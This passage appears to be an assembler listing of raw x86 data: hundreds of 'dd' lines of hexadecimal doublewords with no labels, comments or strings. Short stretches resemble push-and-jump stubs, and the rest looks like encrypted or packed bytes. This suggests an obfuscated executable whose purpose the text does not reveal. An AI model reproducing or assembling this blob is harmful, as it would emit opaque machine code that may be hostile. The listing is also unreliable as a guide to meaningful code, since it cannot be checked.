		dd 7233B7E7h, 0F99C1D05h, 0C5E2AC7Dh, 723B82BEh, 0D4B8ACD9h
		dd 4657700Ah, 0DD9A6D3Fh, 534D3448h, 4233B7E7h,	0F99C1AF2h
		dd 0F8CA49FEh, 366FBEF5h, 0F305E983h, 0A8BD83A4h, 622A6h
		dd 8D8D0D74h, 61D4C89h,	1B8h, 40E1FF00h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 0CAC35545h, 1C5C541h
		dd 0EEA63C85h, 20C3803Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 8DC35747h, 83F4EE80h,	0BA662DE8h, 0C08B79A5h
		dd 0BD83D7B2h, 61D1669h, 83097500h, 1D0121BDh, 19740006h
		dd 0C08B5350h, 3FCB8h, 3D858900h, 8D061D0Fh, 1FA6A49Dh
		dd 5BD3FF06h, 21BD8358h, 61D01h, 53501774h, 3FCB8h, 3D858900h
		dd 8D061D0Fh, 1FA3459Dh, 5BD3FF06h, 66D68B58h, 714CDB81h
		dd 0AE8h, 347EE200h, 0C1DC1044h, 8B5291B0h, 0C08B5BDEh
		dd 0FACA08EBh, 339C4072h, 3AE977E7h, 6800000Dh,	622AF5Eh
		dd 0FAD1F1E9h, 0B06568FFh, 0E7E90622h, 68FFFAD1h, 622B1B3h
		dd 0FAD1DDE9h, 0B30468FFh, 0D3E90622h, 68FFFAD1h, 622B4A5h
		dd 0FAD1C9E9h, 0B6F468FFh, 0BFE90622h, 68FFFAD1h, 622B855h
		dd 0FAD1B5E9h, 0B95368FFh, 0ABE90622h, 9FFFAD1h, 994331h
		dd 0F28B3533h, 0E67F2943h, 0D7701A4Eh, 0EB630D5Fh, 6DFF370Ch
		dd 630D2AC3h, 581820B9h, 482C15AEh, 9426B89Eh, 23600800h
		dd 14A42B91h, 0BA6A472Dh, 0D43236FDh, 0A44E261Bh, 843450E6h
		dd 45B07FF2h, 32C4541Fh, 0DCA04CA2h, 0D0AD7E2Fh, 0A04CA840h
		dd 0EE2CB6DCh, 1850E4A1h, 0E5F98B3Bh, 0F6DCA04Ch, 5E167445h
		dd 0ED1DD24Ch, 29EBh, 59EF4400h, 80F98B3Bh, 131F45A5h
		dd 0E5F58562h, 6BDCA059h, 0C15639E1h, 0B4EC9DA3h, 49015F00h
		dd 0ED1D8BA7h, 0F2D6h, 2D142F00h, 28E59747h
		dd 39CD5D0Bh, 0CA2542A6h, 25E0BB19h, 0C37E5B11h, 5E19F67Eh
		dd 0DE8EA7E3h, 0D4F5630Dh, 92542A3h, 0CF8C3C38h, 96290666h
		dd 0E53F66E6h, 89B6CC9h, 8F97A9F6h, 0B45CBA0Ch,	714E261Bh
		dd 45F3BB91h, 0AC7D4E2Bh, 24B84AFCh, 0B5DABD02h, 66F8A604h
		dd 0E0BA18CBh, 0AF6D17C8h, 45231199h, 16C69768h, 0AA3A3984h
		dd 7C7A0FE6h, 7F2311D8h, 0B9495DEFh, 0A95AD680h, 0C6777AD8h
		dd 8CE85916h, 1CCE802Eh, 0B794D45Fh, 0B94656E6h, 0A253D680h
		dd 0B94C60F2h, 0AC5DD680h, 0CBA1954Eh, 0C7D7691Bh, 0D4D680B9h
		dd 841DC523h, 8347BAB2h, 1EE1051Ah, 0AE8A443h, 84B60000h
		dd 86AD46F0h, 969F38E2h, 0A1932CD6h, 0B2841DC7h, 0DB9810BAh
		dd 701A52E4h, 661060D7h, 5B056BCDh, 4BF57FC2h, 0AD41D365h
		dd 3E236009h, 221451D8h, 3A07A04Ah, 1F09903Ah, 0B996D262h
		dd 9EAC8AE8h, 41B84AFAh, 0D21F45A5h, 0D7944421h, 23B10F61h
		dd 0DCA05897h, 84B1CD66h, 693A0BE8h, 662D18Ch, 700D9629h
		dd 58E5B962h, 65091195h, 0BEC753DDh, 0ED1D472Ch, 0C54Bh
		dd 2D14A400h, 53E59747h, 2542A643h, 66419F50h, 0D31F8BABh
		dd 60C8BC39h, 0EB0942B1h, 0A54DC458h, 0BB57DEF0h, 0CA85564Ah
		dd 522F006Ch, 429D07C2h, 0B64CE125h, 0E7069F4Fh, 4DF4AD0Bh
		dd 5DE47D27h, 0CC5A3A17h, 25F67ABEh, 0A4EE375h,	0DD9A1F45h
		dd 6839165Ah, 0BE94070Ah, 7075A7F0h, 6321CB9Ch,	4DFFAFD5h
		dd 0A1A62BBBh, 4C07B8DCh, 0D3A481E7h, 0F935C775h, 5AE6AB43h
		dd 0FA3CF9A9h, 72FC872h, 0DC58F265h, 6641E103h,	9E1C7h
		dd 0E98BAF00h, 0DB8DA63Fh, 0CF9D9831h, 0C0A88C25h, 0B3B97D16h
		dd 0DDD29109h, 0D0691359h, 0C65F0967h, 0BB54FE72h, 5E44EE86h
		dd 16AA3ACCh, 0D1372360h, 4A22144Ah, 3A3A07A0h,	2D140990h
		dd 0BF90E45Dh, 0EE8032E2h, 2542A6DEh, 0DC8FF35Dh, 0BABF0B34h
		dd 4FF2AB09h, 6FBD7B25h, 0F2C75909h, 811F454Eh,	5663F3D0h
		dd 0DADCA1CFh, 31BBCA50h, 0EED1C51h, 0AC89E751h, 98097DDBh
		dd 5B000006h, 0CE08B9C6h, 48A68FFBh, 0AC8A1FA1h, 0CBE161E4h
		dd 0DDBAB682h, 0FFDD3B0Ch, 99B4B29h, 1F451AE4h,	2D0684F7h
		dd 4E91A47Fh, 0A18728BCh, 3708B9DCh, 0E1F98966h, 6FDCA187h
		dd 591720DDh, 0C0C555FBh, 0ED1C192Eh, 64E4Dh, 59EFA600h
		dd 48F98B3Bh, 4B1F4597h, 0B555EA9Ah, 4EF28E2Dh,	54E4BF1Dh
		dd 0DCA0C444h, 0ABDA40CAh, 0ED1D5A01h, 62638h, 0FD089100h
		dd 31E18795h, 45AB6E9Fh, 0B90CBD1Fh, 0AF5B842Dh, 82E63460h
		dd 0D8D40D2h, 0B6737288h, 888BE98Bh, 0C1AFAD7h,	67CCBA7Eh
		dd 82533001h, 0F4AD0BEFh, 19EA763Fh, 0D64CD769h, 0A25378F5h
		dd 7E0C35F2h, 8D9B6BAh,	6DCA8737h, 9A552603h, 0CD75D39Dh
		dd 0F4670D34h, 73345954h, 93CB6A45h, 61000008h,	58F19BD9h
		dd 4AE38DDBh, 3ED781EBh, 2FC872F6h, 43BB6507h, 0C5A78F64h
		dd 0BBB5821Bh, 0B0C07811h, 0A0D46D06h, 0EC7E10F6h, 236017D8h
		dd 14FC83E9h, 0C6D6682Dh, 0D32542A6h, 94745122h, 8032E286h
		dd 1EFB75C3h, 9761EF4Dh, 611F2539h, 407E7FCCh, 0C99A77F5h
		dd 4A38DF36h, 8E38E9ECh, 77F14300h, 0DD6BC99Ah,	0DC9F699Dh
		dd 0A784E450h, 0F6AF05D6h, 0C17F294Bh, 0AC5E0E6Ah, 695468FAh
		dd 0B465DC9Fh, 694CC856h, 1CCDDC9Fh, 65FA8F3Fh,	0F9BD0AE3h
		dd 44FDB614h, 0A97AEE46h, 300991FFh, 54E4DC9Fh,	68D9721Ch
		dd 0B9F2F0Ch, 0E2313580h, 823D1A56h, 0D9DCB9B3h, 0A6A9C555h
		dd 40E1851Ah, 0AE807AAh, 701406ACh, 0ED7BB9D1h,	68D9721Ch
		dd 0B9F2F0Ch, 46DC9F21h, 821778A2h, 2D7DF36h, 9049A784h
		dd 7E13C3B1h, 166CCFA3h, 0CAAA975Bh, 76F39BF9h,	158h, 5D2D14D1h
		dd 0FBF90E4h, 0D997A05Dh, 42A6B549h, 4C62B825h,	0D02C810Bh
		dd 0D86A1ACBh, 2542E2C4h, 0EBC624D5h, 8B680830h, 42E2EBFBh
		dd 75FF4225h, 662B898h,	8212A456h, 0F2542E2h, 0DAABC174h
		dd 0FC5E9347h, 0BB191EAEh, 6AB17B0Dh, 75261F25h, 0E9945C02h
		dd 0D3724DDAh, 742h, 0A04A2A10h, 923C2C07h, 86303CF9h
		dd 772147EDh, 6A1458DEh, 0F83E35F2h, 631CA74h, 1127C06Ah
		dd 251CB55Fh, 2DBFA54Fh, 60150B9Bh, 0AB329823h,	6A472D14h
		dd 740687AFh, 2542A660h, 9481ABE3h, 0D4D9802Eh,	1AA85223h
		dd 0D6128585h, 5C2D0A5Eh, 5FB413C9h, 426139CDh,	4819CA25h
		dd 7F0731EAh, 3BE5B6B6h, 2BD59FA2h, 18C8A492h, 3694DC5Bh
		dd 0D696A05Bh, 0B3CB6926h, 0B715E68Eh, 0C852DCDCh, 42F27ABCh
		dd 11AC6AADh, 0F44F60F0h, 0CA0A9D40h, 18720520h, 9C32F5B5h
		dd 0FD953D9Bh, 14FF00F3h, 0C9A39350h, 49BD1BECh, 11h, 0B230A2h
		dd 0D2840000h, 42A6AC40h, 2E8C3D25h, 472D1487h,	0B6CEDA6Ah
		dd 0D5812542h, 95502018h, 0C76DCBA1h, 64103153h, 0D26F2CBAh
		dd 96F4C5A2h, 0D2B5BDDh, 0E090A863h, 0B1613203h, 4E2B41F4h
		dd 0B4441F7Dh, 0DABD5625h, 0E0A4761Eh, 0E76E1858h, 0D6622414h
		dd 15E686B0h, 78D46738h, 0B3E95125h, 2BE6C394h,	8686630Dh
		dd 0D2661EFCh, 0C0C4F7DCh, 135C1533h, 132BBED3h, 0BD6D3EC3h
		dd 0F365790Bh, 0C5762542h, 0BF51BF67h, 9E2542CBh, 4C60F2A3h
		dd 5D2542EBh, 2DFEDBACh, 750FA25Ch, 563014FFh, 89FFFFFEh
		dd 9BD5621Fh, 0F28FEDBEh, 317h,	0C2AE8946h, 0FB614E5h
		dd 3EE68A1Fh, 0E4E56DA7h, 74CD86h, 2B779323h, 48F02542h
		dd 0E58FB2D2h, 0D59FA23Bh, 2B2068F8h, 86BB2542h, 1B3111EEh
		dd 713BCD7Dh, 0E61F25B4h, 5BD6C235h, 9873DAE9h,	5A1F9h
		dd 0A9CB6F00h, 9BCD66FFh, 8FDD58F1h, 80E84CE5h,	73F93DD6h
		dd 9D9251C9h, 9029D399h, 861FC9A7h, 7B14BEB2h, 1E04AEC6h
		dd 12EAFA8Ch, 91F72360h, 682D140Ah, 42A6C6D6h, 5122D325h
		dd 0EF7DB974h, 0DF95AC45h, 0D29A9C35h, 0B08845F5h, 0B412E3C0h
		dd 54313BFBh, 3450CA54h, 25BA6A02h, 0A94F04F8h,	4AF25027h
		dd 0FFE138B2h, 2653F14h, 0DF910000h, 4277B94Dh,	3B994A25h
		dd 5258EF94h, 0D7B485EFh, 9DD76A27h, 3E1B55E2h,	73810F6Dh
		dd 0B2C7D909h, 4E09E682h, 53AA87E9h, 7B036BAFh,	60082CE9h
		dd 0AE54B283h, 0CE66236Ch, 7E484B0h, 0B7886536h, 390FA159h
		dd 5FF415EEh, 0B53CFD53h, 0AE2280BDh, 20Fh, 0DF621F07h
		dd 89E7B895h, 87199CABh, 2542A677h, 5202D384h, 0A6FE0EA0h
		dd 5A0B2542h, 28BC4EFCh, 0B92542A6h, 159B2B08h,	0CCC7D909h
		dd 68230068h, 12C3A0D0h, 0DEFCB06Ah, 0D608A726h, 16A83001h
		dd 5110AA81h, 171F9F68h, 42D48455h, 245349B2h, 8A308E3Fh
		dd 0FF42FF90h, 0EDBEB68Bh, 0D7D5D78Fh, 0A86415EEh, 0BD000001h
		dd 8C3C58EFh, 42A696FAh, 6D4AFB25h, 0D909D7DDh,	63B741C7h
		dd 0EE3A8822h, 31C37515h, 24525C9Dh, 74C27D2Eh,	7C269AF8h
		dd 7F000001h, 0CBDB6D1Fh, 0D82542A6h, 5CEBC927h, 0C681F34Eh
		dd 7A2AFB6Dh, 42A6ACE8h, 8C3CED25h, 299146F7h, 0C3211230h
		dd 0EB5A58E8h, 32BCC7D9h, 0DB139DE8h, 33F015EEh, 0BAB68105h
		dd 0DD3B0CE9h, 13A69h, 2D14C200h, 92AF6A47h, 0AC7A38E2h
		dd 0D46618C8h, 2542A6C0h, 7350181Bh, 8EEC9DA2h,	0B0234EE0h
		dd 0FFB01F45h, 4C069222h, 7608DCA0h, 8FED7BB9h,	5A5431E9h
		dd 0E1ED1DD2h, 36h, 3B59EF3Ah, 9527D98Bh, 2542A601h, 1F806604h
		dd 0E6EBC466h, 0D049D735h, 631F45D1h, 0B545D5B2h, 0BBDCA1D5h
		dd 129CE931h, 0EFED1C4Fh, 0D6B0532h, 9199h
		dd 2D14F200h, 87AF6A47h, 0F44D08E5h, 0F2CFA196h, 0B8735021h
		dd 0D341EB89h, 2542A3F6h, 701A5AE7h, 500064B2h,	0E7BB099Eh
		dd 42A1A754h, 72A456E4h, 48F9E0B7h, 115BDB98h, 468CE67h
		dd 0E7AD8F91h, 0CAB86DAh, 352h,	0B05A1A20h, 0A24C1C17h
		dd 96402C09h, 873137FDh, 7A2448EEh, 0E84E2502h,	0F641DA84h
		dd 137D07Ah, 152CC56Fh,	3DCFB55Fh, 60101BABh, 0BB42A823h
		dd 0A04A2214h, 88F77D12h, 0BE3DD163h, 1DCE2542h, 1F91B08Ah
		dd 3B3908C1h, 2D140A91h, 92AF6A47h, 0CC7532E2h,	9CFACBA8h
		dd 0A67386F4h, 97A52542h, 0A66C8012h, 0CC7D2542h, 0A67A8A1Ch
		dd 0D6872542h, 0D2C35505h, 611F45B5h, 48AF3FD1h, 8B3CDCA0h
		dd 148910BAh, 0AF6A472Dh, 0AA38E292h, 0A65666F8h, 0B2632542h
		dd 0A65C7002h, 0BC6D2542h, 0CEAA805Eh, 0B0E58C1Eh, 3DEE1F45h
		dd 4F38D060h, 0B446DCA0h, 0CE2C3CF7h, 1993F228h, 20ED1DD1h
		dd 2Ah,	3B59EF79h, 0A580F98Bh, 62131F45h, 59E5F585h, 0E16BDCA0h
		dd 0C3A24C39h, 0ED9FED1Dh, 0A0554B5Bh, 49A758DCh, 0C2D5h
		dd 2D142E00h, 87AF6A47h, 0F44D08E5h, 8C1ED080h,	2542A678h
		dd 9F7AD889h, 62D5DE4h,	0E3B48562h, 0A30ECB39h,	62DF2542h
		dd 72CF6812h, 0F7452502h, 0BD4CE191h, 9B2A6ACh,	9F51FF5Dh
		dd 0F4B5BEDh, 0A758DABDh, 3E62BB49h, 56F1E0BAh,	0DFB08DDFh
		dd 90A6640Eh, 0D59244F4h, 20AE0C60h, 0E6AAD96Ch, 9F5C0CBDh
		dd 1F49EB97h, 2B0BA44Eh, 46C6CE41h, 7853E104h, 1F1D9h
		dd 0F97BBF00h, 0EB7DB64Fh, 0DF8DA841h, 0D0989C35h, 0C3A98D26h
		dd 0EDC2A119h, 0E0792349h, 0D66F1957h, 0CB640E62h, 6E54FE76h
		dd 1EBA4ADCh, 0E1472360h, 4A22145Ah, 3A3A07A0h,	0B646D88Ah
		dd 432542A6h, 0FE8C3492h, 9A77F541h, 0EFC46BC9h, 0F98B3B59h
		dd 1F45A580h, 0F5856213h, 0DCA059E5h, 5639E16Bh, 52E49A99h
		dd 9B6C3D1Ah, 0C36B853Dh, 0D712ED1Dh, 6B000000h, 5852D14h
		dd 239E7EC7h, 0C07B5829h, 71851776h, 822542F9h,	932300D1h
		dd 2542FC36h, 30DA9AA7h, 3353E5A2h, 0BD8E6B05h,	0E03E0FECh
		dd 0C6701A27h, 27F8C9A6h, 0B8DC6A4Ah, 12A45608h, 2542FC82h
		dd 91A35E0Fh, 92EB79D7h, 211F45CDh, 0CBCB086h, 0A1ED6A7Ah
		dd 0F5C677DCh, 0B028BD4Bh, 83559996h, 6EBC9AF8h, 9A9D5A0Ah
		dd 38CA78D6h, 0E6AB36E5h, 5815C576h, 4BE48EDEh,	0CC9C97EBh
		dd 0DA4D1EEFh, 0E103680Ch, 0F3F3926Dh, 0C1000000h, 0B851FB79h
		dd 0AA43ED7Bh, 9E37E18Bh, 8F28D296h, 0A31BC5A7h, 2547EFC4h
		dd 1B55E27Bh, 1060D871h, 74CD66h, 4CDE7056h, 23601FB8h
		dd 145CE349h, 7A04A22h,	2903A3Ah, 0A62EBE50h, 2BBB2542h
		dd 42A60599h, 14E59625h, 2D140FB6h, 8BA6A47h, 42A66676h
		dd 7C27325h, 24DD3B2Dh,	1FAD571Dh, 28BAD362h, 2542A694h
		dd 0C6A37425h, 63B997F5h, 83541C1Bh, 7F8F21D3h,	8C2542A6h
		dd 3DCF7DDBh, 1F253977h, 14AD71E4h, 0BD6F124Eh,	0A16B7B0Dh
		dd 0C778DC9Fh, 11B146F6h, 88487AECh, 11A537E7h,	0A2DC9FBEh
		dd 0FDB893F1h, 0ED863044h, 0DB702054h, 12A9A0C6h, 2DD3B13h
		dd 4FC78E72h, 59C145A6h, 0B45E162Bh, 9E4E261Bh,	3C1957E1h
		dd 77320D6Bh, 77CEABBDh, 43D47D3h, 142DC670h, 0D2AFC176h
		dd 0C3803001h, 4C1DFA72h, 37413EEh, 0CF000000h,	2614B65Dh
		dd 8BB6714Eh, 0E7510CE9h, 46F1AC89h, 0A4924D2Ah, 630EBC8h
		dd 66CE8966h, 0CB6A2502h, 2A09C4A1h, 539C613Eh,	0C381E389h
		dd 4, 8704EB83h, 248B241Ch, 0E0895024h,	405h, 42D00h, 4870000h
		dd 34895C24h, 73E36824h, 2C890000h, 42BB5324h, 6836AE3Fh
		dd 308C9149h, 5BDE315Eh, 242C8B54h, 4C481h, 0EC810000h
		dd 4, 81243489h, 2D9C2404h, 458F566Ch, 86D8108h, 566C2D9Ch
		dd 52242C8Bh, 0C281E289h, 4, 8704C283h,	0FF5C2414h, 835E2434h
		dd 0CBE904C4h, 0BFFFAC4h, 9C43FCF6h, 0E8533EE3h, 0BA6BB8D6h
		dd 0C5030622h, 7ADFE0FFh, 0A6D03BBDh, 12BB7D30h, 68E21184h
		dd 9B047B6Ah, 5A9F26E7h, 0AD1B05E4h, 5BF150E5h,	2C400172h
		dd 0CC3534A3h, 4EF60C15h, 0ADF636A4h, 6A3139DDh, 2F036DFFh
		dd 482A6F07h, 0E4933F6Ch, 5F4D7F58h, 818171B7h,	938F1B81h
		dd 0D2540350h, 1EAB44B8h, 98E96487h, 94000000h,	5000000h
		dd 1000000h, 28000000h,	200000Ah, 20h dup(0)
		dd 4F000000h, 0E928F9E1h, 0B02h, 22BD8E68h, 0C3B8E906h
		dd 6968FFFAh, 0E90622BEh, 0FFFAC3AEh, 22BF5468h, 0C3A4E906h
		dd 0E368FFFAh, 0E90622BFh, 0FFFAC39Ah, 22C0FE68h, 0C390E906h
		dd 6968FFFAh, 0E90622C1h, 0FFFAC386h, 22C49068h, 0C37CE906h
		dd 9868FFFAh, 0E90622C5h, 0FFFAC372h, 600A6AD0h, 52FC6CC7h
		dd 46F07CB9h, 37E187ADh, 2AD4989Eh, 38FEF5B2h, 46F18A34h
		dd 51E7802Ah, 65DC751Fh, 0ED7F650Fh, 601A4B5Bh,	6BF25823h
		dd 6A472D14h, 3339FDBAh, 4F251CD5h, 0D36517A5h,	2542A6C3h
		dd 0A6039325h, 0DF902542h, 0EDCB29DAh, 0F789395Fh, 1F45B07Ah
		dd 2745F1AEh, 0D2BC6C9h, 25B59263h, 0DCA04C95h,	7C09119Bh
		dd 0ED1DD272h, 7B8B1DCFh, 88DCA044h, 510579D7h,	5E000000h
		dd 8B3B59EFh, 6F9596F6h, 43D5A90Dh, 2542DFB3h, 3BE8F40h
		dd 2CDA3830h, 45DC6F9Ah, 0F54C091Fh, 50E7A27Fh,	0EEF14F20h
		dd 38D0603Dh, 13DCA1DEh, 0B36E4B25h, 5D0EEB85h,	810965B5h
		dd 486223F7h, 0EFED1C44h, 0C3h,	0B8B08441h, 5AC0ADBh, 0D6682D14h
		dd 2542A6C6h, 745122D3h, 0B22D7DB9h, 0B06FD933h, 7CEC4702h
		dd 2E13CEABh, 93AE6946h, 0A6C937E1h, 92254265h,	0B445CBFDh
		dd 0B614DB39h, 863044FDh, 432054EDh, 0FFAFD563h, 0C3B1904Dh
		dd 29B715E6h, 1F452208h, 6D2ADA8Bh, 0F7C8A5CBh,	0E533F199h
		dd 0E03DCF7Fh, 73E6AB34h, 0CF7D12C2h, 0A36DB85Eh, 0F7B462C0h
		dd 0EA832D3Fh, 0A2AD204Ch, 73E10351h, 8C7F998h,	0B4860000h
		dd 0B67D16C0h, 0C66F08B2h, 0D163FCA6h, 0E254ED97h, 8B68E08Ah
		dd 40EA82B4h, 36E090A7h, 2BD59B9Dh, 1BC5AF92h, 0FD11A335h
		dd 0E23601Bh, 221421A8h, 3A07A04Ah, 0A635C95Bh,	15C62542h
		dd 0EF139A44h, 0D98B3B59h, 0A6019527h, 0E1922542h, 0A584F583h
		dd 5E0F1F45h, 59D9F181h, 0DD67DCA0h, 0C3A6483Dh, 0ABD5ED1Dh
		dd 2E000000h, 6A472D14h, 8E587AFh, 42A2F778h, 8A0B3625h
		dd 0BD5DE4F8h, 76F63FDAh, 12C3C899h, 43FE9741h,	0F2A45431h
		dd 0BD5D4C60h, 4EAC5DDAh, 0EBEDA70h, 0BA47F57Ch, 9C4EDEE0h
		dd 0A076FA0Ah, 0C65607DCh, 0DCA07636h, 974112C3h, 752543D9h
		dd 769D31C3h, 7D2EDCA0h, 97DF711Fh, 4E6AA93h, 50E6A353h
		dd 5DD9721Ch, 0FBCB9C0Fh, 0B18CE103h, 7EC12h, 0E58FAB00h
		dd 0D791A23Bh, 0CBA1942Dh, 0BCAC8821h, 0AFBD7912h, 0D9AE8D05h
		dd 0CC650F5Dh, 0C25B056Bh, 0B750FA76h, 5A40EA8Ah, 18A636C8h
		dd 0CD332360h, 4A221446h, 3A3A07A0h, 621F0990h,	0E8B996D2h
		dd 470D18Ah, 9FD56C27h,	83E137F5h, 7F8F21D3h, 8C2542A6h
		dd 3DCF7DDBh, 1F254B1Eh, 6F2CDC8Dh, 35F2A2D2h, 0B9B780FEh
		dd 7F3A0BDCh, 0AD55B3B5h, 98D4621Fh, 0FE8CEABBh, 0DC9FE31Eh
		dd 591323E0h, 800E1DFBh, 0ADBB8B8h, 9DEA8F39h, 11C1A775h
		dd 98EE0E7Fh, 265DF2E6h, 0A910DFDh, 0AA5B5EBCh,	0A5FECB57h
		dd 9CAA473Bh, 0E49648F8h, 0B5144252h, 0E39E4F7Ah, 6D3E1B55h
		dd 1C6C810Fh, 0C7F40B2h, 0DCB092C7h, 0BE6E3F39h, 0DA383401h
		dd 6B091FFFh, 479A29BBh, 702146F8h, 363E03C0h, 264EF38Ch
		dd 0CC9DCB3h, 0D3724D81h, 701h,	50FA7AC0h, 42EC7CB7h, 36E08CA9h
		dd 27D1979Dh, 1AC4A88Eh, 48EEC5A2h, 56E17A24h, 61D7701Ah
		dd 75CC650Fh, 0DD6F55FFh, 6019BB4Bh, 5BE24823h,	8B3B59EFh
		dd 254B52F9h, 0D4099E1Fh, 0A308BB03h, 2DC8CB29h, 0B2836014h
		dd 0BF7431E1h, 522D7DE7h, 5A2BA384h, 8A1C17B0h,	0E914C87Bh
		dd 393253Bh, 90DC9F9Ah,	677B0EDFh, 0B5F60892h, 0F0AB8859h
		dd 44556151h, 536B1236h, 0D8A986EEh, 84EC4C07h,	9205D6A7h
		dd 0DAEA0DB5h, 72B85732h, 31000006h, 28C16B09h,	1AB35D0Bh
		dd 0EA7511Bh, 0FF984226h, 138B3537h, 95D75F54h,	8BE552EBh
		dd 80F048E1h, 70043DD6h, 0BC4EE0C6h, 23601928h,	0EFCC53B9h
		dd 0F98B3B59h, 1F254B52h, 9727B949h, 24DC9FE3h,	40F2A273h
		dd 532AFCABh, 813C5095h, 8D9B6B2h, 4550F1AAh, 9F8623B3h
		dd 2EFFB0DCh, 1371C684h, 8649D163h, 3FDADC9Fh, 0C89976F6h
		dd 7F8A1AF7h, 1DC9FB9h,	0C8E2A377h, 6FED2227h, 2Fh, 3C58EFC8h
		dd 1345DA8Ch, 0A9D17CACh, 901E7Ch, 912542EFh, 677303E0h
		dd 0E92542EFh, 20CABB5Fh, 5714FF71h, 7,	1C930B0h, 88B0000h
		dd 3908C5FDh, 0D28D5E3Bh, 0CCAA0864h, 0AD6A1A7Eh, 2D3FF694h
		dd 50AE7F50h, 0C55BF0A2h, 67BAA34h, 4054E696h, 51254238h
		dd 41B442A0h, 0D21F4535h, 42CE21h, 0BA817EB5h, 0C658086Ch
		dd 557D7D37h, 12A234C4h, 9F61591Dh, 60401DEEh, 6CFEAECAh
		dd 5B392B57h, 4603B364h, 36CF79FBh, 0C3F6690Bh,	9496CBE4h
		dd 5571AB9h, 24160000h,	260DA650h, 36FF9842h, 41F38C36h
		dd 52E47D27h, 3BF8701Ah, 0D07AF244h, 0C6700037h, 0BB650B2Dh
		dd 0AB551F22h, 0DA133C5h, 9E236066h, 2D14B138h,	0B693D95Dh
		dd 0A76414E5h, 0A782E090h, 0F2971C7h, 0E2B38461h, 0C639A032h
		dd 0DBF1F45h, 0F989E750h, 0DCA078E5h, 0E4E745F6h, 51F08933h
		dd 4A77B023h, 4520DAE4h, 4ECA6h, 0E58FAB00h, 0D791A23Bh
		dd 0CBA1942Dh, 0BCAC8821h, 0AFBD7912h, 0D9AE8D05h, 0CC650F5Dh
		dd 0C25B056Bh, 0B750FA76h, 5A40EA8Ah, 67A636C8h, 0CD332360h
		dd 472D1446h, 7608BA6Ah, 2542A666h, 0AB64C273h,	992EDE96h
		dd 0F2C9E362h, 19AB5B11h, 2542C185h, 2C076516h,	0BD059A2Ch
		dd 21C046B6h, 97832987h, 6E063BF8h, 8AEA5710h, 69628DAh
		dd 93254215h, 44DC84E2h, 14FF8BAAh, 31D1h, 0CE662300h
		dd 8EECBD9Ah, 3B59EFE7h, 0B504F98Bh, 2FEC1F45h,	0B4856212h
		dd 89B85356h, 0AD3D1AEBh, 0DCA0491Dh, 4819923h,	0ED1DD3EAh
		dd 4691h, 59EFEA00h, 0A885E351h, 0C15606D7h, 241EEA5Dh
		dd 0C7702B22h, 0B9D4BA9h, 1F450C06h, 6F2CDC8Dh,	37F4A4C4h
		dd 0D48F6CFCh, 0DA38095Fh, 0AC35C432h, 3908DCA1h, 3BF8913Bh
		dd 2B1502Dh, 5000004h, 0A481EF48h, 0EFCE75D3h, 88E45159h
		dd 0A6B646D8h, 92432542h, 9E7F11C1h, 621F45AAh,	7EDC90A5h
		dd 32EDCA7Bh, 454A30Fh,	0F939583Bh, 0A172F63Eh,	562D5CF1h
		dd 81E36616h, 0F9854823h, 9774FC3Ch, 58C268C6h,	0A3533107h
		dd 820434F1h, 0DEABBB5h, 4D50DE3Ch, 0DEE6A715h,	74C07D2Dh
		dd 55EE96F4h, 0FBAB88ECh, 1371033Eh, 0D181E735h, 8008563Fh
		dd 6414C5ECh, 7FDD8FA7h, 71A94DA4h, 0CADA6C1Eh,	21C8EA20h
		dd 0A8795612h, 6D8113A3h, 7EC8EA20h, 0E59EFCCDh, 0B06E185Ch
		dd 4820149Ah, 2D0AC777h, 0A537E543h, 0F2ED466Ch, 5E19F6A7h
		dd 5DB491E3h, 28FE61B9h, 870A9C4Ch, 0CF8CEA0h, 2918B15Bh
		dd 83B36E4Bh, 0BA7C39E9h, 2F41F7B2h, 48238152h,	0E7C4A88Dh
		dd 85620A2Ch, 80EE2CD4h, 0ED7F31BDh, 0C42C9CD9h, 35DB39EAh
		dd 0F3A29FE5h, 2C9C4D61h, 0DCAD5EC4h, 0C2A67432h, 90958012h
		dd 5506FE2Bh, 0F084BD78h, 218BC13h, 0F9A9CF5Dh,	14B7AE67h
		dd 923CEDC4h, 7C2C48F9h, 0A6A438CAh, 8435F076h,	0B1904B26h
		dd 0CD5B19C3h, 0CC65F7A7h, 1CCA71B0h, 4CC4D86Ah, 24D5EA54h
		dd 6212C3C6h, 0DD93A5h,	66F6D12Fh, 0EA544C52h, 0C7C852DCh
		dd 6E071132h, 0F4526DE7h, 0E93BB23Ch, 39C9DBh, 0EF220000h
		dd 0F98B3B59h, 1F45A580h, 0DDF18313h, 0EEDCA059h, 0FFBC6C3Dh
		dd 0FBD63434h, 0A0595F6Bh, 0C357E1DCh, 1DC328C2h, 1004FEDh
		dd 0CA10000h, 0FC5902F0h, 67DA9519h
		dd 1F08AF0Dh, 3896D262h, 0D5B2C27Fh, 0F58E1C1Ah, 680432E5h
		dd 6027BA8Bh, 3B18E94Bh, 0D6B3C180h, 0BDC59126h, 24B7B97Eh
		dd 2BE6FA6Bh, 49026008h, 44D27CF8h, 62C0B087h, 421453D4h
		dd 0F9089D25h, 8225920Ch, 462211CCh, 62122FE8h,	52221FB8h
		dd 0E1879575h, 0D9ED7F31h, 0EA254254h, 9B2DDB39h, 1F456542h
		dd 0B87620D1h, 0C4560662h, 0E6ABA2D0h, 4300B061h, 0BFB58CFEh
		dd 904011EEh, 869DEEFEh, 0EC4AFBD6h, 0CDF78C3Eh, 4873A2E8h
		dd 7FFBF4DCh, 0DDE572ECh, 0FC70C67Fh, 0EF7DB952h, 29B3D7Ch
		dd 6403DEE1h, 1C5h, 14BEB684h, 6B0B87Bh, 0FAA4C86Dh, 0EB95D361h
		dd 0DE88E452h, 84B28966h, 92A53EE8h, 9D9B34DEh,	0B19029D3h
		dd 0A13319C3h, 6062FF0Fh, 1FA60C23h, 9A4A2214h,	0A64656E8h
		dd 0A49D2542h, 0BC1ACBD0h, 0C4C67B14h, 7C26F77Dh, 690731EEh
		dd 59EF640Bh, 80F98B3Bh, 131F45A5h, 0E5F58562h,	38DCA059h
		dd 0D99471FFh, 0E056115Fh, 25AFAF8Ch, 67F179F5h, 0C3D8D2B3h
		dd 0D25FED1Dh, 0B8000000h, 0D6682D14h, 2542A6C6h, 745122D3h
		dd 12EF7DB9h, 0A629CD62h, 0FF54E012h, 9E7BF144h, 5EE16FCDh
		dd 9F25428Fh, 8F28D2A2h, 0C5CD8B2h, 0FCAE5E3Bh,	428F5A6Ah
		dd 58B66725h, 2CE9AC7Ah, 0B3846107h, 428F9323h,	9E6F2025h
